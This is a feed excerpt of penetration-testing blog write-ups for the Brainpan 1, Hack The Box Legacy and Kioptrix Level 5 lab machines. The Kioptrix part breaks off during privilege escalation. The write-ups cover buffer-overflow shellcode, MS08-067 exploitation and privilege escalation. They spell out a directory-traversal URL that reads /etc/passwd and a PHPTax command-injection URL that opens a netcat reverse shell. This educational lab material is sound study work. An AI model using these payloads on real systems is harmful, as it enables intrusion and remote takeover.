&lt;p>The shellcode in the exploit executes and connects back to the Ncat listener. We now have a working exploit to try on the Brainpan 1 machine.
&lt;img src="60.png" alt="&amp;ldquo;Catching the Reverse Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>Until now we have been developing and testing the exploit on our Windows machine because we needed Immunity Debugger and the mona.py script to help us develop the exploit. To run the exploit against the Brainpan 1 machine the &lt;strong>IP address has to be modified&lt;/strong> to the one of Brainpan 1. The modified script can be downloaded &lt;a href="8-exploit.txt">here&lt;/a>.
&lt;img src="61.png" alt="&amp;ldquo;Nano 8-exploit.py&amp;rdquo;">&lt;/p>
&lt;p>A new &lt;strong>Ncat listener&lt;/strong> should be prepared to catch the reverse shell connection.
&lt;img src="62.png" alt="&amp;ldquo;Preparing a Ncat Listener&amp;rdquo;">&lt;/p>
&lt;p>Running the modified &lt;strong>8-exploit.py&lt;/strong> script with Python against the IP address of Brainpan.
&lt;img src="63.png" alt="&amp;ldquo;Running 8-exploit.py&amp;rdquo;">&lt;/p>
&lt;p>The shellcode in the exploit executes and connects back to the Ncat listener. We now have a &lt;strong>low privilege shell&lt;/strong> on the Brainpan 1 machine as the &lt;strong>user puck&lt;/strong>.
&lt;img src="64.png" alt="&amp;ldquo;Catching the Reverse Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Investigating &lt;strong>Puck&amp;rsquo;s home&lt;/strong> directory reveals a &lt;strong>checksrv.sh&lt;/strong> script.
&lt;img src="65.png" alt="&amp;ldquo;Listing the Directory&amp;rdquo;">&lt;/p>
&lt;p>Investigating the &lt;strong>checksrv.sh&lt;/strong> script reveals &lt;strong>the brainpan.exe application is executed with &lt;a href="https://www.winehq.org/">WINE&lt;/a>&lt;/strong>, a program that creates a compatibility layer to run Windows applications on UNIX like operating systems and explains why the Windows reverse shell shellcode within our exploit actually worked on a Linux target.
&lt;img src="66.png" alt="&amp;ldquo;Investigating checksrv.sh&amp;rdquo;">&lt;/p>
&lt;p>Because Brainpan 1 is a Linux target it is advisable to try a native &lt;strong>Linux reverse shell&lt;/strong> within our exploit. We can leverage &lt;strong>Msfvenom&lt;/strong> again to &lt;strong>generate Linux reverse shell shellcode&lt;/strong> and replace the Windows shellcode within our exploit. As can be seen &lt;strong>the Linux shellcode is only 95 bytes&lt;/strong>, a lot smaller than the 351 bytes needed for our Windows shellcode.
&lt;img src="67.png" alt="&amp;ldquo;Msfvenom Generating Linux Shellcode&amp;rdquo;">&lt;/p>
&lt;p>Now that the Linux shellcode is generated it should be copied so it can be pasted within the exploit.
&lt;img src="68.png" alt="&amp;ldquo;Copying the Linux Shellcode&amp;rdquo;">&lt;/p>
&lt;p>The &lt;strong>8-exploit.py script&lt;/strong> should be copied and the &lt;strong>shellcode variable&lt;/strong> within the new &lt;strong>8-exploit-linux.py&lt;/strong> script should be modified with the newly generated shellcode for our Linux target. Furthermore, because the Linux reverse shell shellcode is only &lt;strong>95 bytes long&lt;/strong> the buffer variable, &lt;strong>specifically the C&amp;rsquo;s&lt;/strong> that are used for padding should be modified accordingly. The &lt;strong>padding of C&amp;rsquo;s&lt;/strong> was originally &lt;strong>522 bytes&lt;/strong>, the &lt;strong>32 NOP&amp;rsquo;s and 95 bytes for the Linux shellcode should be subtracted&lt;/strong> leaving a padding of &lt;strong>395 C&amp;rsquo;s&lt;/strong> in our buffer variable. The modified Linux script can be downloaded &lt;a href="8-exploit-linux.txt">here&lt;/a>.
&lt;img src="69.png" alt="&amp;ldquo;Nano 8-exploit-linux.py&amp;rdquo;">&lt;/p>
&lt;p>A new &lt;strong>Ncat listener&lt;/strong> should be prepared to catch the reverse shell connection.
&lt;img src="70.png" alt="&amp;ldquo;Preparing a Ncat Listener&amp;rdquo;">&lt;/p>
&lt;p>Running the modified &lt;strong>8-exploit-linux.py&lt;/strong> script with Python.
&lt;img src="71.png" alt="&amp;ldquo;Running 8-exploit-linux.py&amp;rdquo;">&lt;/p>
&lt;p>The shellcode in the exploit executes and connects back to the Ncat listener creating a &lt;strong>native Linux reverse shell&lt;/strong> as the user puck.
&lt;img src="72.png" alt="&amp;ldquo;Catching the Reverse Shell&amp;rdquo;">&lt;/p>
&lt;p>Upgrading the Ncat shell with some Python magic.
&lt;img src="73.png" alt="&amp;ldquo;Upgrading the shell with Python&amp;rdquo;">&lt;/p>
&lt;p>Running &lt;strong>sudo -l&lt;/strong> reveals the user Puck can run the &lt;strong>/home/anansi/bin/anansi_util&lt;/strong> binary without a password &lt;strong>as the root user&lt;/strong>.
&lt;img src="74.png" alt="&amp;ldquo;Running Sudo -l&amp;rdquo;">&lt;/p>
&lt;p>Investigating further reveals the &lt;strong>anansi_util&lt;/strong> binary can execute the &lt;strong>manual&lt;/strong> command.
&lt;img src="75.png" alt="&amp;ldquo;Running anansi_util&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-root">Exploitation: Root&lt;/h2>
&lt;p>Using a custom command to escape the binary with a command such as &lt;strong>/bin/bash&lt;/strong> does not seem to work as the &lt;strong>anansi_util binary&lt;/strong> seemingly tries to display the manual page through the less command. However, escaping less is possible by executing &lt;strong>!/bin/bash&lt;/strong> as explained in the following &lt;a href="https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf">guide&lt;/a> for escaping restricted shells from the &lt;a href="https://www.exploit-db.com/">Exploit Database&lt;/a>.
&lt;img src="76.png" alt="&amp;ldquo;Escaping anansi_util&amp;rdquo;">&lt;/p>
&lt;p>Running &lt;strong>!/bin/bash&lt;/strong> indeed escapes the program and gains a root shell on the target resulting in a full compromise of the Brainpan 1 machine.
&lt;img src="77.png" alt="&amp;ldquo;Root&amp;rdquo;">&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Brainpan 1 is a fantastic challenge to practice basic buffer overflow attacks and exploit development and I thoroughly enjoyed completing this machine.&lt;/p>
&lt;p>This challenge helped me understand the process behind buffer overflows and what goes on under the hood a lot better. Documenting the process in a blog post helped me refine my process and I hope this post helps others on the same journey in understanding the basic concepts behind them as well.&lt;/p></description></item><item><title>Hack The Box Write-Up Legacy</title><link>https://isroot.nl/2019/02/16/hack-the-box-write-up-legacy/</link><pubDate>Sat, 16 Feb 2019 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2019/02/16/hack-the-box-write-up-legacy/</guid><description>&lt;p>Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one&amp;rsquo;s penetration testing and security skills. While Legacy is an older machine there is still a lot to learn if the exploitation phase is attempted without the use of the &lt;a href="https://github.com/rapid7/metasploit-framework/">Metasploit framework&lt;/a>. The vulnerability on this machine is very well known and is often used to teach beginners the basics of penetration testing.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Nmap&lt;/li>
&lt;li>Searchsploit&lt;/li>
&lt;li>Python&lt;/li>
&lt;li>Msfvenom&lt;/li>
&lt;li>Ncat&lt;/li>
&lt;li>Locate&lt;/li>
&lt;li>Impacket smbserver.py&lt;/li>
&lt;li>Copy&lt;/li>
&lt;li>Whoami.exe&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with Nmap reveals ports &lt;strong>139&lt;/strong> and &lt;strong>445&lt;/strong> are open. Nmap also specifically mentions port &lt;strong>3389&lt;/strong> is closed.
&lt;img src="01.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted service scan against ports 139, 445 and 3398 reveals the &lt;strong>Microsoft Windows netbios-ssn&lt;/strong> and &lt;strong>Windows XP microsoft-ds&lt;/strong> services. Furthermore, the service scan and script results reveal the target operating system is Windows XP.
&lt;img src="02.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;p>Because Windows XP is an older operating system it is highly likely it is vulnerable to a well-known exploit. Running an Nmap script scan for the &lt;strong>MS08-067&lt;/strong> vulnerability reveals this is indeed the case.
&lt;img src="03.png" alt="&amp;ldquo;Nmap Vulnerability Scan&amp;rdquo;">&lt;/p>
&lt;blockquote>
&lt;p>&lt;a href="https://twitter.com/johnlatwc">John Lambert&amp;rsquo;s&lt;/a> story about this vulnerability is a worthy read and can be found &lt;strong>&lt;a href="https://github.com/JohnLaTwC/Shared/blob/master/The%20Inside%20Story%20Behind%20MS08-067.md">here&lt;/a>&lt;/strong>.&lt;/p>
&lt;/blockquote>
&lt;h2 id="enumeration-searchsploit">Enumeration: Searchsploit&lt;/h2>
&lt;p>Using searchsploit with the search parameter &lt;strong>ms08-067&lt;/strong> reveals several public exploits.
&lt;img src="04.png" alt="&amp;ldquo;Searchsploit ms08-067&amp;rdquo;">&lt;/p>
&lt;p>As Python is my language of choice I copy the Python exploit from the local exploit database to investigate and modify it where necessary.
&lt;img src="05.png" alt="&amp;ldquo;Copy the Python Exploit&amp;rdquo;">&lt;/p>
&lt;p>Running the exploit reveals it needs two parameters, the targets IP address and a number for the target&amp;rsquo;s operating system version.
&lt;img src="06.png" alt="&amp;ldquo;Running the exploit&amp;rdquo;">&lt;/p>
&lt;p>Inspecting the exploits code reveals there are several operating system versions to choose from. Selecting the correct version is important because the exploit needs to know the &lt;a href="https://en.wikipedia.org/wiki/Return_statement">return address&lt;/a> in memory that is different for each operating system version.
&lt;img src="07.png" alt="&amp;ldquo;Inspecting the Exploit Code&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-nmap-continued">Enumeration: Nmap Continued&lt;/h2>
&lt;p>The Nmap script scan revealed the target&amp;rsquo;s operating system was &lt;strong>Windows XP&lt;/strong> but the exact version is still a mystery. Running an &lt;strong>Nmap&lt;/strong> service scan with operating system detection reveals that Nmap guesses with &lt;strong>94%&lt;/strong> certainty that the target operating system is &lt;strong>Windows XP SP3&lt;/strong>.
&lt;img src="08.png" alt="&amp;ldquo;Nmap OS Detection&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>Inspecting the exploit code again reveals that &lt;strong>Windows XP SP3&lt;/strong> is supported with the parameter &lt;strong>6&lt;/strong>.
&lt;img src="09.png" alt="&amp;ldquo;Inspecting the Exploit Code&amp;rdquo;">&lt;/p>
&lt;p>Further investigation of the exploit comments reveals the initial &lt;strong>&lt;a href="https://en.wikipedia.org/wiki/Shellcode">shellcode&lt;/a>&lt;/strong> needs to be replaced, furthermore it notes that the &lt;strong>&lt;a href="https://en.wikipedia.org/wiki/Payload_(computing)">payload&lt;/a>&lt;/strong> size is &lt;strong>380&lt;/strong> bytes long.
&lt;img src="10.png" alt="&amp;ldquo;Exploit Comments&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>Msfvenom&lt;/strong> can be leveraged to generate new shellcode and replace the other parameters embedded within such as the &lt;strong>IP address&lt;/strong> and &lt;strong>port&lt;/strong>. Furthermore, the Meterpreter payload needs to be replaced because Ncat cannot handle the currently embedded &lt;strong>staged payload&lt;/strong>. Running the first &lt;strong>Msfvenom&lt;/strong> command to determine how large the payload size will become with a new stageless payload &lt;strong>sell_reverse_tcp&lt;/strong>.
&lt;img src="11.png" alt="&amp;ldquo;Msfvenom Shellcode Generation&amp;rdquo;">&lt;/p>
&lt;blockquote>
&lt;p>A good article on staged versus stageless payloads can be found &lt;strong>&lt;a href="https://buffered.io/posts/staged-vs-stageless-handlers/">here&lt;/a>&lt;/strong>.&lt;/p>
&lt;/blockquote>
&lt;p>The final payload size of the Msfvenom command is &lt;strong>348&lt;/strong> bytes but the exploit expects a payload of &lt;strong>380&lt;/strong> bytes. This can be solved by adding a &lt;a href="https://en.wikipedia.org/wiki/NOP_slide">Nopsled&lt;/a> of &lt;strong>32&lt;/strong> bytes with Msfvenom. Note the &lt;strong>&amp;ndash;nopsled 32&lt;/strong> command at the end that adds an extra &lt;strong>32&lt;/strong> bytes to the payload making the final payload size &lt;strong>380&lt;/strong> bytes.
&lt;img src="12.png" alt="&amp;ldquo;Msfvenom Shellcode with Nops&amp;rdquo;">&lt;/p>
&lt;p>Replacing the initial shellcode with the newly generated shellcode from Msfvenom leaving the first three lines of the initial shellcode which are &lt;strong>&lt;a href="https://en.wikipedia.org/wiki/NOP_(code)">NOP&amp;rsquo;s&lt;/a>&lt;/strong> in place.
&lt;img src="13.png" alt="&amp;ldquo;Replacing the Exploit Shellcode&amp;rdquo;">&lt;/p>
&lt;p>Preparing a Ncat listener on port &lt;strong>443&lt;/strong> to catch the connection.
&lt;img src="14.png" alt="&amp;ldquo;Prepare Ncat Listener on Port 443&amp;rdquo;">&lt;/p>
&lt;p>Launching the modified Python exploit against the targets IP address using parameter &lt;strong>6&lt;/strong> which contains the &lt;strong>Windows XP SP3&lt;/strong> return address.
&lt;img src="15.png" alt="&amp;ldquo;Launching the Python Exploit&amp;rdquo;">&lt;/p>
&lt;p>The exploits succeeds and connects back to the &lt;strong>Ncat listener&lt;/strong> creating an initial shell on the target.
&lt;img src="16.png" alt="&amp;ldquo;Initial Reverse Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation-sort-of">Privilege Escalation (Sort of)&lt;/h2>
&lt;p>The target operating system does not seem to have the &lt;strong>whoami&lt;/strong> command available to determine the username of the current session. Luckily Kali Linux has a &lt;strong>whoami.exe&lt;/strong> executable built in. This executable can be transferred to the target over an &lt;a href="https://en.wikipedia.org/wiki/Server_Message_Block">SMB&lt;/a> connection as this functionality is built into Windows operating systems by default.
&lt;img src="17.png" alt="&amp;ldquo;Locating whoami.exe&amp;rdquo;">&lt;/p>
&lt;p>Leveraging the &lt;strong>&lt;a href="https://github.com/SecureAuthCorp/impacket">Impacket&lt;/a> smbserver.py&lt;/strong> Python script to create an SMB share on the attacking machine.
&lt;img src="18.png" alt="&amp;ldquo;Prepare Impacket Smbserver&amp;rdquo;">&lt;/p>
&lt;p>Initiating the transfer of the &lt;strong>whoami.exe&lt;/strong> executable on the target machine.
&lt;img src="19.png" alt="&amp;ldquo;Copy whoami.exe&amp;rdquo;">&lt;/p>
&lt;p>The Impacket smbserver.py script allows the connection and the &lt;strong>whoami.exe&lt;/strong> file is transferred to the target.
&lt;img src="20.png" alt="&amp;ldquo;Impacket Smbserver Transfer&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-root">Exploitation: Root&lt;/h2>
&lt;p>Executing the &lt;strong>whoami.exe&lt;/strong> executable reveals the initial shell has &lt;strong>SYSTEM&lt;/strong> privileges resulting in a full compromise of the machine.
&lt;img src="21.png" alt="&amp;ldquo;Root&amp;rdquo;">&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>As stated before Legacy is an old machine with a very well-known vulnerability. Using Metasploit to exploit the machine is a valid and above all fast solution, it does however not allow one to learn all the lessons this machine has to offer if you are a beginning penetration tester.&lt;/p>
&lt;p>My recommendation is to first exploit the machine with Metasploit and then manually exploit it solidify one’s knowledge of what is really going on under the hood and learn a thing or two in the process.&lt;/p></description></item><item><title>VulnHub Write-Up Kioptrix Level 5</title><link>https://isroot.nl/2018/12/17/vulnhub-write-up-kioptrix-level-5/</link><pubDate>Mon, 17 Dec 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/12/17/vulnhub-write-up-kioptrix-level-5/</guid><description>&lt;p>A few weeks ago, I started the Kioptrix series of vulnerable by design virtual machines with the &lt;a href="https://isroot.nl/2018/09/03/vulnhub-write-up-kioptrix-level-1/">Kioptrix Level 1&lt;/a>, &lt;a href="https://isroot.nl/2018/09/09/vulnhub-write-up-kioptrix-level-2/">Kioptrix Level 2&lt;/a>, &lt;a href="https://isroot.nl/2018/10/03/vulnhub-write-up-kioptrix-level-3/">Kioptrix Level 3&lt;/a> and &lt;a href="https://isroot.nl/2018/12/09/vulnhub-write-up-kioptrix-level-4/">Kioptrix Level 4&lt;/a> challenges. In this post I focus on how I solved Kioptrix Level 5 which is, sadly the last machine in the series. If you want to try this challenge yourself it can be downloaded &lt;a href="https://www.vulnhub.com/entry/kioptrix-2014-5,62/">here&lt;/a>.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Netdiscover&lt;/li>
&lt;li>Nmap&lt;/li>
&lt;li>Firefox&lt;/li>
&lt;li>Searchsploit&lt;/li>
&lt;li>Gobuster&lt;/li>
&lt;li>Ncat and Nc&lt;/li>
&lt;li>Gcc&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-netdiscover">Enumeration: Netdiscover&lt;/h2>
&lt;p>As the Kioptrix series are virtual machines in a downloadable and self-hosted format the machine gets an IP address from &lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP&lt;/a> when it starts. This means that unlike online challenges such as &lt;a href="https://www.hackthebox.eu/">Hack The Box&lt;/a> the IP address of the machine is somewhat &amp;ldquo;unknown&amp;rdquo; beforehand.&lt;/p>
&lt;p>The first thing to know is the local network address by using the &lt;strong>ifconfig&lt;/strong> command.
&lt;img src="01.png" alt="&amp;ldquo;Ifconfig Command&amp;rdquo;">&lt;/p>
&lt;p>Knowing the network address and subnet mask &lt;strong>Netdiscover&lt;/strong> can be leveraged to do some &lt;a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol">ARP&lt;/a> reconnaissance and find other hosts on the local network.
&lt;img src="02.png" alt="&amp;ldquo;Netdiscover Command&amp;rdquo;">&lt;/p>
&lt;p>The Kioptrix machine is hosted on the VMware software so it is safe to assume that the last entry in the list is the target as the &lt;strong>MAC Vendor&lt;/strong> column indicates a &lt;a href="https://en.wikipedia.org/wiki/MAC_address">MAC address&lt;/a> associated with VMware.
&lt;img src="03.png" alt="&amp;ldquo;Netdiscover Results&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with &lt;strong>Nmap&lt;/strong> against the discovered IP address reveals ports &lt;strong>80&lt;/strong> and &lt;strong>8080&lt;/strong> are open while port &lt;strong>22&lt;/strong> seems to be closed.
&lt;img src="04.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted service scan against ports 22, 80 and 8080 reveals that the &lt;strong>Apache HTTP&lt;/strong> server is listening on both open ports. Also note Apache is running &lt;strong>version 2.2.21&lt;/strong> of the software and the banner indicates &lt;strong>FreeBSD&lt;/strong> as the operating system.
&lt;img src="05.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox">Enumeration: Firefox&lt;/h2>
&lt;p>A visit to the website on port &lt;strong>80&lt;/strong> with the &lt;strong>Firefox&lt;/strong> browser reveals the default Apache webpage.
&lt;img src="06.png" alt="&amp;ldquo;Firefox Enumeration Port 80&amp;rdquo;">&lt;/p>
&lt;p>Further investigation of the website source code reveals a line that is commented and hints at a possible &lt;strong>pChart 2.1.3&lt;/strong> application on the server.
&lt;img src="07.png" alt="&amp;ldquo;Firefox Enumerating Source&amp;rdquo;">&lt;/p>
&lt;p>Browsing to the &lt;strong>pChart2.1.3&lt;/strong> directory on the webserver reveals a webpage hosting the &lt;strong>pChart 2.1.3&lt;/strong> application.
&lt;img src="08.png" alt="&amp;ldquo;pChart 2.1.3 Directory&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-searchsploit">Enumeration: Searchsploit&lt;/h2>
&lt;p>A quick search with searchsploit for &lt;strong>pchart 2.1.3&lt;/strong> reveals a public exploit is available.
&lt;img src="09.png" alt="&amp;ldquo;Searchsploit pchart 2.3.1&amp;rdquo;">&lt;/p>
&lt;p>Copying the exploit from the local exploit database to investigate and modify it where necessary.
&lt;img src="10.png" alt="&amp;ldquo;Copy the Exploit&amp;rdquo;">&lt;/p>
&lt;p>Investigating the exploit code reveals it uses a &lt;strong>directory traversal&lt;/strong> vulnerability making it possible to &lt;strong>read files on the filesystem&lt;/strong> that are &lt;strong>accessible by the webserver&lt;/strong>.
&lt;img src="11.png" alt="&amp;ldquo;Investigating the Exploit&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-firefox">Exploitation: Firefox&lt;/h2>
&lt;p>Modifying the sample with the following code:&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>http://172.16.3.43/pChart2.1.3/examples/index.php?Action&lt;span style="color:#f92672">=&lt;/span>View&amp;amp;Script&lt;span style="color:#f92672">=&lt;/span>%2f..%2f..%2fetc/passwd
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>reveals the contents of the &lt;strong>/etc/passwd&lt;/strong> file and confirms the vulnerability but does not reveal much that can be worked with.
&lt;img src="12.png" alt="&amp;ldquo;Directory Traversal Confirmed&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox-continued">Enumeration: Firefox Continued&lt;/h2>
&lt;p>Moving on to investigate port &lt;strong>8080&lt;/strong> with the Firefox browser reveals a &lt;strong>forbidden&lt;/strong> message indicating the webserver on this port is responding but access is not permitted.
&lt;img src="13.png" alt="&amp;ldquo;Firefox Enumeration Port 8080&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-gobuster">Enumeration: Gobuster&lt;/h2>
&lt;p>Digging a bit deeper with Gobuster indicates a wildcard response.
&lt;img src="14.png" alt="&amp;ldquo;Gobuster Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox-again">Enumeration: Firefox Again&lt;/h2>
&lt;p>Because browsing the page with Firefox and a directory brute-force with Gobuster both fail I decide to leverage the &lt;strong>directory traversal vulnerability&lt;/strong> to display the &lt;strong>Apache configuration file&lt;/strong>. The &lt;a href="https://www.freebsd.org/doc/handbook/network-apache.html">FreeBSD documentation&lt;/a> reveals the configuration file is located at the following path &lt;strong>/usr/local/etc/apache2x/httpd.conf&lt;/strong> path.
&lt;img src="15.png" alt="&amp;ldquo;FreeBSD Apache Documentation&amp;rdquo;">&lt;/p>
&lt;p>Leveraging the information from the FreeBSD documentation and the &lt;strong>Apache version number&lt;/strong> found earlier with &lt;strong>Nmap&lt;/strong> it is trivial to display the Apache configuration file with the following code:&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>http://172.16.3.43/pChart2.1.3/examples/index.php?Action&lt;span style="color:#f92672">=&lt;/span>View&amp;amp;Script&lt;span style="color:#f92672">=&lt;/span>%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf**.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="16.png" alt="&amp;ldquo;Apache Configuration File&amp;rdquo;">&lt;/p>
&lt;p>Searching the Apache configuration file for port &lt;strong>8080&lt;/strong> reveals a virtual host entry that only allows access to the website if the browser has its &lt;strong>user agent string&lt;/strong> set to &lt;strong>Mozilla/4.0&lt;/strong>.
&lt;img src="17.png" alt="&amp;ldquo;VirtualHost Port 8080&amp;rdquo;">&lt;/p>
&lt;p>Firefox can be configured with a manually set user agent string of &lt;strong>Mozilla/4.0&lt;/strong> by modifying the property &lt;strong>general.useragent.override&lt;/strong> on the &lt;strong>about:config&lt;/strong> page.
&lt;img src="18.png" alt="&amp;ldquo;Configuring Firefox User Agent&amp;rdquo;">&lt;/p>
&lt;p>Leveraging Firefox to browse to port &lt;strong>8080&lt;/strong> with the now modified user agent reveals a single folder named &lt;strong>phptax&lt;/strong>.
&lt;img src="19.png" alt="&amp;ldquo;Firefox Enumeration Port 8080&amp;rdquo;">&lt;/p>
&lt;p>Browsing to the &lt;strong>phptax&lt;/strong> folder reveals the PHPTax web application.
&lt;img src="20.png" alt="&amp;ldquo;Firefox PHPTax Application&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-searchsploit-continued">Enumeration: Searchsploit Continued&lt;/h2>
&lt;p>A quick search with searchsploit for &lt;strong>phptax&lt;/strong> reveals several public exploits are available.
&lt;img src="21.png" alt="&amp;ldquo;Searchsploit Phptax&amp;rdquo;">&lt;/p>
&lt;p>Copying the exploit from the local exploit database to investigate and modify it where necessary.
&lt;img src="22.png" alt="&amp;ldquo;Copy the Exploit&amp;rdquo;">&lt;/p>
&lt;p>Investigating the exploit code reveals it is vulnerable to a remote code injection vulnerability in the &lt;strong>&lt;a href="http://php.net/manual/en/function.exec.php">exec() function&lt;/a>&lt;/strong> making it possible to execute code on the host.
&lt;img src="23.png" alt="&amp;ldquo;Investigating the Exploit&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>Nmap&lt;/strong> as well as the &lt;strong>/etc/passwd&lt;/strong> file revealed that the target is running the &lt;strong>FreeBSD&lt;/strong> operating system because of this the sample code included with the exploit should be modified as it does not work as-is on the target.
&lt;img src="24.png" alt="&amp;ldquo;Exploit Sample&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>Preparing an &lt;strong>Ncat listener&lt;/strong> on port &lt;strong>443&lt;/strong> to catch a &lt;strong>/bin/sh reverse shell&lt;/strong>.
&lt;img src="25.png" alt="&amp;ldquo;Ncat Listener Port 443&amp;rdquo;">&lt;/p>
&lt;p>Leveraging Firefox to exploit the vulnerability with the following modified sample code:&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>http://172.16.3.43:8080/phptax/index.php?pfilez&lt;span style="color:#f92672">=&lt;/span>1040d1-pg2.tob;rm /tmp/f;mkfifo /tmp/f;nc 172.16.3.17 443&amp;lt;/tmp/f|/bin/sh&amp;gt;/tmp/f 2&amp;gt;/tmp/f;rm /tmp/f;&amp;amp;pdf&lt;span style="color:#f92672">=&lt;/span>make**
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="26.png" alt="&amp;ldquo;Firefox PHPTax Exploitation&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>/bin/sh&lt;/strong> connects to the Ncat listener resulting in a low privilege shell as the &lt;strong>www&lt;/strong> user.
&lt;img src="27.png" alt="&amp;ldquo;Initial Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Investigating the target operating system and kernel version reveals both are severely out of date indicating a privilege escalation exploit is most likely available for the machine.
&lt;img src="28.png" alt="&amp;ldquo;Investigating the Target&amp;rdquo;">&lt;/p>
&lt;p>A quick search with searchsploit for &lt;strong>freebsd 9.0&lt;/strong> reveals several public exploits are available.
&lt;img src="29.png" alt="&amp;ldquo;Searchsploit freebsd 9.0&amp;rdquo;">&lt;/p>
&lt;p>Copying the exploit from the local exploit database to investigate and modify it where necessary.
&lt;img src="30.png" alt="&amp;ldquo;Copy the Exploit&amp;rdquo;">&lt;/p>
&lt;p>Verifying if the &lt;strong>gcc&lt;/strong> compiler is available on the target to compile the exploit locally.
&lt;img src="31.png" alt="&amp;ldquo;Verifying Gcc Version&amp;rdquo;">&lt;/p>
